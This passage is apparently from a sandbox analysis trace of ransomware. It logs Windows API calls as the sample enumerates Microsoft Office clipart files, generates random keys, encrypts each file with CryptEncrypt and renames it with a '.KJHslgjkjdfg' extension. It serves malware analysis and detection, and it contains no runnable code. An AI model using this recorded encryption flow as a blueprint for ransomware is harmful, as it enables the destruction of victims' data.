lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.039] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.039] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.039] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.039] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.039] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e06, lpOverlapped=0x0) returned 1 [0181.040] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e10, dwBufLen=0x1e10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e10) returned 1 [0181.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.040] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e10, lpOverlapped=0x0) returned 1 [0181.040] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.040] SetEndOfFile (hFile=0x130) returned 1 [0181.043] GetProcessHeap () returned 0x990000 [0181.043] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.043] GetProcessHeap () returned 0x990000 [0181.043] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.kjhslgjkjdfg")) returned 1 [0181.045] CloseHandle (hObject=0x130) returned 1 [0181.045] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0181.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.046] GetProcessHeap () returned 0x990000 [0181.046] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.046] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.046] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0181.048] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.048] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.048] GetProcessHeap () returned 0x990000 [0181.048] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.048] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.048] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.048] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.048] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.048] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.048] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.048] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e73, lpOverlapped=0x0) returned 1 [0181.049] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80) returned 1 [0181.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.049] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e80, lpOverlapped=0x0) returned 1 [0181.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.050] SetEndOfFile (hFile=0x130) returned 1 [0181.052] GetProcessHeap () returned 0x990000 [0181.052] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.052] GetProcessHeap () returned 0x990000 [0181.052] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.kjhslgjkjdfg")) returned 1 [0181.055] CloseHandle (hObject=0x130) returned 1 [0181.055] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0181.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.056] GetProcessHeap () returned 0x990000 [0181.056] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.056] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.056] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0181.058] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.058] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.058] GetProcessHeap () returned 0x990000 [0181.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.058] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.058] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.058] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.059] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.059] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.059] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x205, lpOverlapped=0x0) returned 1 [0181.059] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x210, dwBufLen=0x210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x210) returned 1 [0181.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.059] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x210, lpOverlapped=0x0) returned 1 [0181.059] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.059] SetEndOfFile (hFile=0x130) returned 1 [0181.061] GetProcessHeap () returned 0x990000 [0181.061] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.061] GetProcessHeap () returned 0x990000 [0181.061] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.kjhslgjkjdfg")) returned 1 [0181.064] CloseHandle (hObject=0x130) returned 1 [0181.064] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0181.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.064] GetProcessHeap () returned 0x990000 [0181.064] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.064] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.066] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.066] GetProcessHeap () returned 0x990000 [0181.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.066] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.066] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.066] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.066] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.066] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.067] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.067] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f6, lpOverlapped=0x0) returned 1 [0181.067] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x200) returned 1 [0181.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.067] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x200, lpOverlapped=0x0) returned 1 [0181.067] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.067] SetEndOfFile (hFile=0x130) returned 1 [0181.069] GetProcessHeap () returned 0x990000 [0181.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.070] GetProcessHeap () returned 0x990000 [0181.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.kjhslgjkjdfg")) returned 1 [0181.081] CloseHandle (hObject=0x130) returned 1 [0181.082] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0181.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.083] GetProcessHeap () returned 0x990000 [0181.083] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.083] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0181.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.085] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.085] GetProcessHeap () returned 0x990000 [0181.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.085] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.085] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.085] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.085] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.086] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.086] SetFilePointerEx (in: 